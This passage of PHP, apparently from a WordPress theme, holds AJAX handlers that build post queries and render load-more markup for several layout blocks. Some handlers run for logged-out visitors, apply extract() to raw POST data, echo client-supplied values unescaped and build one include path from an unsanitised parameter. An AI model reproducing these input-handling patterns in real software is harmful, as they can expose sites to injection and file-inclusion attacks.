			} elseif ($from == 'customize' && (get_theme_mod('penci_exclude_featured_cat') || get_theme_mod('penci_home_exclude_cat'))) {
				$feat_query = penci_global_query_featured_slider();

				if ($feat_query) {

					$list_post_ids = array();
					if ($feat_query->have_posts()) {
						while ($feat_query->have_posts()):
							$feat_query->the_post();
							$list_post_ids[] = get_the_ID();
						endwhile;
						wp_reset_postdata();
					}

					$args['post__not_in'] = $list_post_ids;
				}

				if (get_theme_mod('penci_home_exclude_cat')) {
					$exclude_cats = get_theme_mod('penci_home_exclude_cat');
				}
			}

			if ($exclude_cats) {
				$exclude_cats = str_replace(' ', '', $exclude_cats);
				$exclude_array = explode(',', $exclude_cats);

				$args['tax_query'] = array(
					array(
						'taxonomy' => 'category',
						'field' => 'slug',
						'terms' => $exclude_array,
						'operator' => 'NOT IN',
					),
				);
			}
			if ($from == 'vc' && $penci_vc_query) {
				$args = $penci_vc_query;

				$new_offset = (isset($args['offset']) && $args['offset']) ? intval($args['offset']) : 0;
				$args['offset'] = $new_offset + $offset;
				$args['posts_per_page'] = $penci_vc_number;
			}
		} else {
			if ('cat' == $archivetype) {
				$args['cat'] = $archivevalue;
			} elseif ('tag' == $archivetype) {
				$args['tag_id'] = $archivevalue;
			} elseif ('day' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
						'day' => isset($date_arr[1]) ? $date_arr[1] : '',
					),
				);
			} elseif ('month' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
					),
				);
			} elseif ('year' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					),
				);
			} elseif ('search' == $archivetype) {
				$args['s'] = $archivevalue;

				if (!get_theme_mod('penci_include_search_page')) {
					$post_types = get_post_types(
						array(
							'public' => true,
							'show_in_nav_menus' => true,
						),
						'names'
					);
					$array_include = array();
					foreach ($post_types as $key => $val) {
						if ('page' != $key) {
							$array_include[] = $key;
						}
					}
					$args['post_type'] = $array_include;

				} elseif (isset($args['post_type'])) {
					unset($args['post_type']);
				}
			} elseif ('author' == $archivetype) {
				$args['author'] = $archivevalue;

				if (isset($args['post_type'])) {
					unset($args['post_type']);
				}
			} elseif ($archivetype && $archivevalue) {
				$args['tax_query'] = array(
					array(
						'taxonomy' => $archivetype,
						'field' => 'term_id',
						'terms' => array($archivevalue),
					),
				);
			}

			$new_offset = (isset($penci_vc_query['offset']) && $penci_vc_query['offset']) ? intval($penci_vc_query['offset']) : 0;
			$args['offset'] = $new_offset + $offset;
		}

		$args['post_status'] = 'publish';

		if ($cat || $tag || $author) {
			$args = array(
				'post_type' => 'post',
				'posts_per_page' => $ppp,
				'post_status' => 'publish',
				'orderby' => $orderby,
				'order' => $order,
			);
		}
		if ($qtype == 'ajaxtab' || (isset($_GET['query_type']) && $_GET['query_type'] == 'ajaxtab')) {
			if ($offset) {
				$args['offset'] = $offset;
			}
			if ($pagednum > 1) {
				$current_offset = isset($args['offset']) && $args['offset'] ? $args['offset'] : 0;
				$args['offset'] = ($pagednum - 1) * $ppp + $current_offset;
			}
		}
		if ($cat) {
			$args['cat'] = $cat;
		}
		if ($tag) {
			$args['tag_id'] = $tag;
		}
		if ($author) {
			$args['author'] = $author;
		}

		$args['nopaging'] = false;
		$args['no_found_rows'] = false;

		$loop = new WP_Query(array_filter($args));

		$qoffset = isset($args['offset']) && $args['offset'] ? $args['offset'] : 0;
		$qppp = isset($args['posts_per_page']) && $args['posts_per_page'] ? $args['posts_per_page'] : get_option('posts_per_page');
		$class_check = $qoffset + $qppp >= $loop->found_posts ? 'pc-nomorepost' : 'pc-hasmorepost';

		if ($loop->have_posts()):
			/* In-feed ads data */
			$infeed_ads = $infeed_num = $infeed_full = '';
			if ('vc-elementor' == $come_from) {
				$data_infeeds = $penci_infeedads;
				if (!empty($data_infeeds)) {
					$infeed_ads = (isset($data_infeeds['ads_code']) && $data_infeeds['ads_code']) ? rawurldecode(base64_decode($data_infeeds['ads_code'])) : '';
					$infeed_num = (isset($data_infeeds['ads_num']) && $data_infeeds['ads_num']) ? $data_infeeds['ads_num'] : 3;
					$infeed_full = (isset($data_infeeds['ads_full']) && $data_infeeds['ads_full']) ? $data_infeeds['ads_full'] : '';
				}
			} else {
				$infeed_ads = get_theme_mod('penci_infeedads_home_code') ? get_theme_mod('penci_infeedads_home_code') : '';
				$infeed_num = get_theme_mod('penci_infeedads_home_num') ? get_theme_mod('penci_infeedads_home_num') : 3;
				$infeed_full = get_theme_mod('penci_infeedads_home_layout') ? get_theme_mod('penci_infeedads_home_layout') : '';
			}
			if ( in_array( $layout, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3' ] ) ) {
				$layout = 'grid';
			} elseif ( in_array( $layout, [ 'list-boxed', 'list-boxed-2' ] ) ) {
				$layout = 'list';
			}
			echo '<span class="' . $class_check . '"></span>';
			while ($loop->have_posts()):
				$loop->the_post();

				if ('vc-elementor' == $come_from) {
					include locate_template('template-parts/latest-posts-sc/content-' . $layout . '.php');
				} else {
					include locate_template('content-' . $layout . '.php');
				}

			endwhile;
		endif;

		wp_reset_postdata();

		exit;
	}
}

if (!function_exists('penci_more_slist_post_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_more_slist_post_ajax', 'penci_more_slist_post_ajax_func');
	add_action('wp_ajax_penci_more_slist_post_ajax', 'penci_more_slist_post_ajax_func');
	function penci_more_slist_post_ajax_func() {
		check_ajax_referer('penci_ajax_filter_slist', 'nonce');
		$settings = isset($_POST['datafilter']) ? $_POST['datafilter'] : array();
		$cat = isset($_POST['cat']) ? $_POST['cat'] : array();
		$tag = isset($_POST['tag']) ? $_POST['tag'] : array();
		$author = isset($_POST['author']) ? $_POST['author'] : array();
		$elid = isset($_POST['id']) ? $_POST['id'] : '';
		$paged = isset($_POST['pagednum']) ? $_POST['pagednum'] : '';
		$archivetype = isset($_POST['archivetype']) ? $_POST['archivetype'] : '';
		$archivevalue = isset($_POST['archivevalue']) ? $_POST['archivevalue'] : '';
		$more = isset($_POST['checkmore']) ? $_POST['checkmore'] : false;
		if ($settings && is_array($settings)) {
			extract($settings);
		}

		$posts_per_page = isset($settings['query']['posts_per_page']) && $settings['query']['posts_per_page'] ? $settings['query']['posts_per_page'] : get_theme_mod('posts_per_page');
		$new_offset = (isset($settings['query']['offset']) && $settings['query']['offset']) ? intval($settings['query']['offset']) : 0;
		$smquery_args = array(
			'post_type' => isset($settings['query']['post_type']) ? $settings['query']['post_type'] : 'post',
			'posts_per_page' => $posts_per_page,
			'post_status' => 'publish',
			'offset' => $new_offset,
			'orderby' => isset($settings['query']['orderby']) ? $settings['query']['orderby'] : 'date',
			'order' => isset($settings['query']['order']) ? $settings['query']['order'] : 'DESC',
		);

		if (isset($settings['query']['tax_query'])) {
			$smquery_args['tax_query'] = $settings['query']['tax_query'];
		}

		if ($paged > 1) {
			$smquery_args['offset'] = $new_offset + ($posts_per_page * ($paged - 1));
		}

		if ($cat) {
			$smquery_args['cat'] = $cat;
		}
		if ($tag) {
			$smquery_args['tag_id'] = $tag;
		}
		if ($author) {
			$smquery_args['author'] = $tag;
		}
		if ($tag || $cat || $author) {
			unset($smquery_args['tax_query']);
			unset($smquery_args['offset']);
			if ($paged > 1) {
				$smquery_args['offset'] = ($paged - 1) * $posts_per_page;
			}
		} elseif ($archivetype && $archivevalue) {
			if ('cat' == $archivetype) {
				$smquery_args['cat'] = $archivevalue;
			} elseif ('tag' == $archivetype) {
				$smquery_args['tag_id'] = $archivevalue;
			} elseif ('day' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$smquery_args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
						'day' => isset($date_arr[1]) ? $date_arr[1] : '',
					),
				);
			} elseif ('month' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$smquery_args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
					),
				);
			} elseif ('year' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$smquery_args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					),
				);
			} elseif ('search' == $archivetype) {
				$smquery_args['s'] = $archivevalue;

				if (!get_theme_mod('penci_include_search_page')) {
					$post_types = get_post_types(
						array(
							'public' => true,
							'show_in_nav_menus' => true,
						),
						'names'
					);
					$array_include = array();
					foreach ($post_types as $key => $val) {
						if ('page' != $key) {
							$array_include[] = $key;
						}
					}
					$smquery_args['post_type'] = $array_include;

				} elseif (isset($smquery_args['post_type'])) {
					unset($smquery_args['post_type']);
				}
			} elseif ('author' == $archivetype) {
				$smquery_args['author'] = $archivevalue;

				if (isset($smquery_args['post_type'])) {
					unset($smquery_args['post_type']);
				}
			} else {
				$smquery_args['tax_query'] = array(
					array(
						'taxonomy' => $archivetype,
						'field' => 'term_id',
						'terms' => array($archivevalue),
					),
				);
			}
		}

		// begin
		$type = $settings['type'] ? $settings['type'] : '';
		$dformat = $settings['dformat'] ? $settings['dformat'] : '';
		$date_pos = $settings['date_pos'] ? $settings['date_pos'] : 'left';
		$column = $settings['column'] ? $settings['column'] : '3';
		$tab_column = $settings['tab_column'] ? $settings['tab_column'] : '2';
		$mb_column = $settings['mb_column'] ? $settings['mb_column'] : '1';
		$imgpos = $settings['imgpos'] ? $settings['imgpos'] : 'left';
		$thumb_size_imgtop = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
		if( get_theme_mod('penci_featured_image_size') == 'vertical' ){
			$thumb_size_imgtop = 'penci-thumb-vertical';
		} else if( get_theme_mod('penci_featured_image_size') == 'square' ){
			$thumb_size_imgtop = 'penci-thumb-square';
		}
		$thumb_size = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
		$mthumb_size = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
		$post_meta = $settings['post_meta'] ? $settings['post_meta'] : array();
		$primary_cat = $settings['primary_cat'] ? $settings['primary_cat'] : '';
		$title_length = $settings['title_length'] ? $settings['title_length'] : '';
		$excerpt_pos = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
		if ('top' == $imgpos) {
			$excerpt_pos = 'side';
		}
		$rmstyle = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

		$thumbnail = $thumb_size;
		if (penci_is_mobile()) {
			$thumbnail = $mthumb_size;
		}

		if (!is_array($post_meta) && strpos($post_meta, ',') !== false) {
			$post_meta = explode(',', $post_meta);
		}

		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $type;
		if ('crs' == $type) {
			$inner_wrapper_class .= ' swiper penci-owl-carousel penci-owl-carousel-slider';
		}
		if ('nlist' == $type) {
			$column = '1';
			$tab_column = '1';
			$mb_column = '1';
			if (in_array('date', $post_meta)) {
				$inner_wrapper_class .= ' pcsl-hdate';
			}
		}
		$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
		$inner_wrapper_class .= ' pcsl-col-' . $column;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
		if ('yes' == $settings['nocrop']) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		if ('yes' == $settings['hide_cat_mobile']) {
			$inner_wrapper_class .= ' pcsl-cat-mhide';
		}
		if ('yes' == $settings['hide_meta_mobile']) {
			$inner_wrapper_class .= ' pcsl-meta-mhide';
		}
		if ('yes' == $settings['hide_excerpt_mobile']) {
			$inner_wrapper_class .= ' pcsl-excerpt-mhide';
		}
		if ('yes' == $settings['hide_rm_mobile']) {
			$inner_wrapper_class .= ' pcsl-rm-mhide';
		}
		if ('yes' == $settings['imgtop_mobile'] && in_array($imgpos, array('left', 'right'))) {
			$inner_wrapper_class .= ' pcsl-imgtopmobile';
		}
		if ('yes' == $settings['ver_border']) {
			$inner_wrapper_class .= ' pcsl-verbd';
		}

		$data_slider = '';
		$item_class = ' normal-item';
		if ('crs' == $type) {
			$item_class = ' swiper-slide';
			$data_slider .= isset($settings['showdots']) && $settings['showdots'] ? ' data-dots="true"' : ' data-dots="false"';
			$data_slider .= isset($settings['shownav']) && $settings['shownav'] ? ' data-nav="false"' : ' data-nav="true"';
			$data_slider .= isset($settings['shownav']) && $settings['loop'] ? ' data-loop="false"' : ' data-loop="true"';
			$data_slider .= ' data-auto="' . ('yes' == $settings['autoplay'] ? 'true' : 'false') . '"';
			$data_slider .= isset($settings['auto_time']) && $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
			$data_slider .= isset($settings['speed']) && $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

			$data_slider .= ' data-item="' . (isset($settings['column']) && $settings['column'] ? $settings['column'] : '3') . '"';
			$data_slider .= ' data-desktop="' . (isset($settings['column']) && $settings['column'] ? $settings['column'] : '3') . '" ';
			$data_slider .= ' data-tablet="' . (isset($settings['tab_column']) && $settings['tab_column'] ? $settings['tab_column'] : '2') . '"';
			$data_slider .= ' data-tabsmall="' . (isset($settings['tab_column']) && $settings['tab_column'] ? $settings['tab_column'] : '2') . '"';
			$data_slider .= ' data-mobile="' . (isset($settings['mb_column']) && $settings['mb_column'] ? $settings['mb_column'] : '1') . '"';
		}
		$query_smalllist = new WP_Query($smquery_args);
		$qoffset = isset($smquery_args['offset']) && $smquery_args['offset'] ? $smquery_args['offset'] : 0;
		$qppp = isset($smquery_args['posts_per_page']) && $smquery_args['posts_per_page'] ? $smquery_args['posts_per_page'] : get_option('posts_per_page');
		$class_check = $qoffset + $qppp >= $query_smalllist->found_posts ? 'pc-nomorepost' : 'pc-hasmorepost';
		
		if ($query_smalllist->have_posts()) {
			if (!$more):
				$wrapper_id = $elid ? $class_check . ' pwsl-id-' . $elid : 'pwsl-id-default';
				?>
				<div class="penci-smalllist pcsl-wrapper <?php echo $wrapper_id; ?>">
					<div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>
						<?php if ( 'crs' == $type ) : ?>
                            <div class="swiper-wrapper">
								<?php endif; ?>
					<?php endif;?>
					<?php
					while ($query_smalllist->have_posts()):
						$query_smalllist->the_post();
						?>
						<?php if ( 'crs' == $type ) : ?>
                            <div class="swiper-slide">
						<?php endif; ?>
						<div class="pcsl-item
						<?php
						if ('yes' == $settings['hide_thumb'] || !has_post_thumbnail()) {
							echo ' pcsl-nothumb';
						}
						?>
						">
						<div class="pcsl-itemin">
							<div class="pcsl-iteminer">
								<?php if (in_array('date', $post_meta) && 'nlist' == $type) {?>
									<div class="pcsl-date pcsl-dpos-<?php echo $date_pos; ?>">
										<span class="sl-date"><?php penci_soledad_time_link(null, $dformat);?></span>
									</div>
								<?php }?>

								<?php if ('yes' != $settings['hide_thumb'] && has_post_thumbnail()) {
									?>
									<div class="pcsl-thumb">
										<?php
										do_action('penci_bookmark_post', get_the_ID(), 'small');
										/* Display Review Piechart  */
										if ('yes' == $settings['show_reviewpie'] && function_exists('penci_display_piechart_review_html')) {
											penci_display_piechart_review_html(get_the_ID(), 'small');
										}
										?>
										<?php if ('yes' == $settings['show_formaticon']): ?>
											<?php if (has_post_format('video')): ?>
												<a href="<?php the_permalink();?>" class="icon-post-format"
													aria-label="Icon"><?php penci_fawesome_icon('fas fa-play');?></a>
												<?php endif;?>
												<?php if (has_post_format('gallery')): ?>
													<a href="<?php the_permalink();?>" class="icon-post-format"
														aria-label="Icon"><?php penci_fawesome_icon('far fa-image');?></a>
													<?php endif;?>
													<?php if (has_post_format('audio')): ?>
														<a href="<?php the_permalink();?>" class="icon-post-format"
															aria-label="Icon"><?php penci_fawesome_icon('fas fa-music');?></a>
														<?php endif;?>
														<?php if (has_post_format('link')): ?>
															<a href="<?php the_permalink();?>" class="icon-post-format"
																aria-label="Icon"><?php penci_fawesome_icon('fas fa-link');?></a>
															<?php endif;?>
															<?php if (has_post_format('quote')): ?>
																<a href="<?php the_permalink();?>" class="icon-post-format"
																	aria-label="Icon"><?php penci_fawesome_icon('fas fa-quote-left');?></a>
																<?php endif;?>
															<?php endif;?>

																<a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail ),'yes' != $settings['disable_lazy'] ); ?> href="<?php the_permalink();?>"
																	title="<?php echo wp_strip_all_tags(get_the_title()); ?>"
																	class="<?php echo penci_layout_bg_class('yes' != $settings['disable_lazy']);?> penci-image-holder"
																	<?php
																	if ('yes' == $settings['nocrop']) {
																		echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup(get_the_ID(), $thumbnail, true) . '%"';
																	}
																	?>>
																	<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail ), get_the_title(),'yes' != $settings['disable_lazy'] ); ?>
																</a>

														</div>
													<?php }?>
													<div class="pcsl-content">
														<?php if (in_array('cat', $post_meta)): ?>
															<div class="cat pcsl-cat">
																<?php penci_category('', $primary_cat);?>
															</div>
														<?php endif;?>

														<?php if (in_array('title', $post_meta)): ?>
															<div class="pcsl-title">
																<a href="<?php the_permalink();?>"
																	<?php
																	if ($title_length):
																		echo ' title="' . wp_strip_all_tags(get_the_title()) . '"';
																	endif;
																	?>
																	>
																	<?php
																	if (!$title_length) {
																		the_title();
																	} else {
																		echo wp_trim_words(wp_strip_all_tags(get_the_title()), $title_length, '...');
																	}
																	?>
																</a>
															</div>
														<?php endif;?>

														<?php
														if ((count(
															array_intersect(
																array(
																	'author',
																	'date',
																	'comment',
																	'views',
																	'reading',
																),
																$post_meta
															)
														) > 0 && 'nlist' != $type) || (count(
															array_intersect(
																array(
																	'author',
																	'comment',
																	'views',
																	'reading',
																),
																$post_meta
															)
														) > 0 && 'nlist' == $type)) {
															?>
															<div class="grid-post-box-meta pcsl-meta">
																<?php if (in_array('author', $post_meta)): ?>
																	<span class="sl-date-author author-italic">
																		<?php echo penci_get_setting('penci_trans_by'); ?> <a
																		class="url fn n"
																		href="<?php echo get_author_posts_url(get_the_author_meta('ID')); ?>"><?php the_author();?></a>
																	</span>
																<?php endif;?>
																<?php if (in_array('date', $post_meta) && 'nlist' != $type): ?>
																	<span class="sl-date"><?php penci_soledad_time_link(null, $dformat);?></span>
																<?php endif;?>
																<?php if (in_array('comment', $post_meta)): ?>
																	<span class="sl-comment">
																		<a href="<?php comments_link();?> "><?php comments_number('0 ' . penci_get_setting('penci_trans_comments'), '1 ' . penci_get_setting('penci_trans_comment'), '% ' . penci_get_setting('penci_trans_comments'));?></a>
																	</span>
																<?php endif;?>
																<?php
																if (in_array('views', $post_meta)) {
																	echo '<span class="sl-views">';
																	echo penci_get_post_views(get_the_ID());
																	echo ' ' . penci_get_setting('penci_trans_countviews');
																	echo '</span>';
																}
																?>
																<?php
																$hide_readtime = in_array('reading', $post_meta) ? false : true;
																if (penci_isshow_reading_time($hide_readtime)):
																	?>
																	<span class="sl-readtime"><?php penci_reading_time();?></span>
																<?php endif;?>
																<?php do_action( 'penci_extra_meta' ); ?>
															</div>
														<?php }?>

														<?php if ('yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos) {?>
															<div class="pcbg-pexcerpt pcsl-pexcerpt">
																<?php penci_the_excerpt($excerpt_length);?>
															</div>
														<?php }?>
														<?php if ('yes' == $settings['show_readmore'] && 'side' == $excerpt_pos) {?>
															<div class="pcsl-readmore">
																<a href="<?php the_permalink();?>"
																	class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																	<?php echo penci_get_setting('penci_trans_read_more'); ?>
																</a>
															</div>
														<?php }?>
													</div>

													<?php if (('yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore']) && 'below' == $excerpt_pos) {?>
														<div class="pcsl-flex-full">
															<?php if ('yes' == $settings['show_excerpt']) {?>
																<div class="pcbg-pexcerpt pcsl-pexcerpt">
																	<?php penci_the_excerpt($excerpt_length);?>
																</div>
															<?php }?>
															<?php if ('yes' == $settings['show_readmore']) {?>
																<div class="pcsl-readmore">
																	<a href="<?php the_permalink();?>"
																		class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																		<?php echo penci_get_setting('penci_trans_read_more'); ?>
																	</a>
																</div>
															<?php }?>
														</div>
													<?php }?>
												</div>
											</div>
										</div>
										<?php
										if ( 'crs' == $type ) :
                            			echo '</div>';
										endif;
									endwhile;

									if ( 'crs' == $type ) :
                            			echo '</div>';
									endif;

									if (!$more):
										?>

									</div>
								</div>
								<?php
							endif;

						} /* End check if query exists posts */
						wp_reset_postdata();
						exit;
					}
				}

/**
 * Functions callback featured posts
 *
 * @since 8.0.3
 */
if (!function_exists('penci_more_featured_post_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_more_featured_post_ajax', 'penci_more_featured_post_ajax_func');
	add_action('wp_ajax_penci_more_featured_post_ajax', 'penci_more_featured_post_ajax_func');
	function penci_more_featured_post_ajax_func() {
		check_ajax_referer('penci_ajax_filter_fcat', 'nonce');
		$atts = isset($_POST['datafilter']) ? $_POST['datafilter'] : array();
		$cat = isset($_POST['cat']) ? $_POST['cat'] : array();
		$tag = isset($_POST['tag']) ? $_POST['tag'] : array();
		$author = isset($_POST['author']) ? $_POST['author'] : array();
		$id = isset($_POST['id']) ? $_POST['id'] : '';
		$paged = isset($_POST['pagednum']) ? $_POST['pagednum'] : '';
		if ($atts && is_array($atts)) {
			extract($atts);
		}

		$query_args = array();

		if (is_array($atts['elementor_query'])) {
			$query_args = $atts['elementor_query'];
		} elseif ($atts['build_query'] && function_exists('penci_build_args_query')) {
			$query_args = penci_build_args_query($atts['build_query']);
		}

		$custom_query_tab = false;
		if ($cat) {
			$query_args['cat'] = $cat;
		}

		if ($tag) {
			$query_args['tag_id'] = $tag;
		}

		if ($author) {
			$query_args['author'] = $author;
		}

		if ($cat || $tag || $author) {
			unset($query_args['offset']);
			unset($query_args['tax_query']);
			$custom_query_tab = true;
		}

		$dppp = isset($query_args['posts_per_page']) && $query_args['posts_per_page'] ? $query_args['posts_per_page'] : get_option('posts_per_page');
		$num_check = 0;
		if ($paged) {
			if (isset($query_args['offset']) && $query_args['offset'] && !$custom_query_tab) {
				$query_args['offset'] = $paged * $query_args['offset'];
				$num_check = $query_args['offset'] + $dppp;
			} else {
				$query_args['paged'] = $paged;
				$num_check = $paged * $dppp;
			}
		}

		$fea_query = new WP_Query($query_args);
		$numers_results = $fea_query->post_count;
		$max_paged = $fea_query->max_num_pages;
		$doffset = isset($query_args['offset']) && $query_args['offset'] ? $query_args['offset'] : 0;
		$class_check = $num_check >= $fea_query->found_posts ? 'pc-nomorepost' : 'pc-hasmorepost';
		$slider_autoplay = 'true';
		if ($atts['cat_autoplay']) {
			$slider_autoplay = 'false';
		}
		?>
		<div class="home-featured-cat-content <?php echo esc_attr($class_check . ' pwf-id-' . $id . ' ' . $style); ?>">
			<?php if ($style == 'style-4'): ?>
			<div class="swiper penci-single-mag-slider penci-owl-carousel penci-owl-carousel-slider"
				data-auto="<?php echo $slider_autoplay; ?>" data-dots="true" data-nav="false">
				<div class="swiper-wrapper">
				<?php endif;?>
				<?php
if ($style == 'style-5' || $style == 'style-12'):
			$data_item = 2;
			if ($style == 'style-12'):
				$data_item = 3;
			endif;
			?>
								<div class="penci-magcat-carousel-wrapper">
									<div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-magcat-carousel"
										data-speed="400" data-auto="<?php echo $slider_autoplay; ?>"
										data-item="<?php echo $data_item; ?>" data-desktop="<?php echo $data_item; ?>"
										data-tablet="2" data-tabsmall="1">
										<div class="swiper-wrapper">
										<?php endif;?>
						<?php if ($style == 'style-7' || $style == 'style-8' || $style == 'style-13'): ?>
						<ul class="penci-grid penci-grid-maglayout penci-fea-cat-<?php echo $style; ?>">
							<?php endif;?>
							<?php
$m = 1;
		while ($fea_query->have_posts()):
			$fea_query->the_post();
			include locate_template('template-parts/magazine-sc/magazine-' . sanitize_file_name( $style ) . '.php');
			++$m;
		endwhile;
		wp_reset_postdata();
		?>
							<?php if ($style == 'style-7' || $style == 'style-8' || $style == 'style-13'): ?>
						</ul>
					<?php endif;?>
						<?php if ($style == 'style-5' || $style == 'style-12'): ?>
						</div>
					</div>
				</div>
			<?php endif;?>
				<?php if ($style == 'style-4'): ?>
				</div>
			</div>
		<?php endif;?>
		</div>
		<?php
		exit;
	}
}

/**
 * Functions callback when using ajax load more posts on Big Grid
 *
 * @since 7.9
 */
if (!function_exists('penci_big_grid_more_post_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_bgmore_post_ajax', 'penci_big_grid_more_post_ajax_func');
	add_action('wp_ajax_penci_bgmore_post_ajax', 'penci_big_grid_more_post_ajax_func');
	function penci_big_grid_more_post_ajax_func() {
		check_ajax_referer('penci_ajax_filter_bg', 'nonce');

		$settings = (isset($_POST['settings'])) ? $_POST['settings'] : array();
		$pagednum = (isset($_POST['pagednum'])) ? (int) $_POST['pagednum'] : 1;
		$query_type = (isset($_POST['query_type'])) ? $_POST['query_type'] : 'post';
		$archivetype = isset($_POST['archivetype']) ? $_POST['archivetype'] : '';
		$archivevalue = isset($_POST['archivevalue']) ? $_POST['archivevalue'] : '';
		$arppp = isset($_POST['arppp']) ? (int) $_POST['arppp'] : '';
		$cat = isset($_POST['cat']) ? $_POST['cat'] : '';
		$tag = isset($_POST['tag']) ? $_POST['tag'] : '';
		$author = isset($_POST['author']) ? $_POST['author'] : '';
		$scroll = isset($_POST['scroll']) ? $_POST['scroll'] : '';

		/* Get settings data */
		$flag_style = false;
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		$query_id = isset( $settings['query_id'] ) ? $settings['query_id'] : 'all';
		$overlay_type = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy = $settings['disable_lazy'] == 'false' ? false : $settings['disable_lazy'];
		$image_hover = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$thumb_size = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';
		$readmore_icon = $settings['readmore_icon'] ? $settings['readmore_icon'] : '';
		$hide_cat_small = $settings['hide_cat_small'] == 'false' ? false : $settings['hide_cat_small'];
		$hide_meta_small = $settings['hide_meta_small'] == 'false' ? false : $settings['hide_meta_small'];
		$hide_excerpt_small = $settings['hide_excerpt_small'] == 'false' ? false : $settings['hide_excerpt_small'];
		$hide_rm_small = $settings['hide_rm_small'] == 'false' ? false : $settings['hide_rm_small'];
		$show_formaticon = $settings['show_formaticon'] == 'false' ? false : $settings['show_formaticon'];
		$show_reviewpie = $settings['show_reviewpie'] == 'false' ? false : $settings['show_reviewpie'];
		$readmore_icon_pos = $settings['readmore_icon_pos'] ? $settings['readmore_icon_pos'] : 'right';

		$post_meta = $settings['bg_postmeta'] ? $settings['bg_postmeta'] : array();
		$primary_cat = $settings['primary_cat'] == 'false' ? false : $settings['primary_cat'];
		$title_length = $settings['title_length'] ? $settings['title_length'] : '';
		$show_readmore = $settings['show_readmore'] == 'false' ? false : $settings['show_readmore'];
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 10;
		if (!in_array($biggid_style, array('style-1', 'style-2'))) {
			$flag_style = true;
		}

		if (isset($settings['jscomposer']) && $settings['jscomposer'] == 'yes' && $settings['query']) {
			$settings['query'] = penci_build_args_query($settings['query']);
			$post_meta = explode(',', $post_meta);
		}

		$args = array(
			'post_type' => 'post',
			'post_status' => 'publish',
			'orderby' => isset($settings['query']['orderby']) ? $settings['query']['orderby'] : 'date',
			'order' => isset($settings['query']['order']) ? $settings['query']['order'] : 'DESC',
		);

		$pper_page = isset($settings['query']['posts_per_page']) ? $settings['query']['posts_per_page'] : 10;
		$per_page = $arppp ? $arppp : $pper_page;
		$args['posts_per_page'] = $per_page;

		if (isset($settings['query']['tax_query'])) {
			$args['tax_query'] = $settings['query']['tax_query'];
		}

		if ($query_type != 'current_query') {
			$args = $settings['query'] ? $settings['query'] : array();
			$args['paged'] = $pagednum;
			$flag_offset = false;
			if (isset($args['offset']) && (int) $args['offset'] > 0) {
				$flag_offset = true;
				$data_offset = $args['offset'];
				$data_paged = isset($args['paged']) ? $args['paged'] : 1;
				unset($args['paged']);
				$args['offset'] = $per_page * ($data_paged - 1) + $data_offset;
			}
		} elseif ($archivetype && $archivevalue) {

			$orderby = get_theme_mod('penci_general_post_orderby');
			if (!$orderby):
				$orderby = 'date';
			endif;

			$order = get_theme_mod('penci_general_post_order');
			if (!$order):
				$order = 'DESC';
			endif;

			$args = array(
				'post_type' => 'post',
				'post_status' => 'publish',
				'posts_per_page' => $arppp ? $arppp : 10,
				'offset' => $arppp * ($pagednum - 1),
				'orderby' => $orderby,
				'order' => $order,
			);

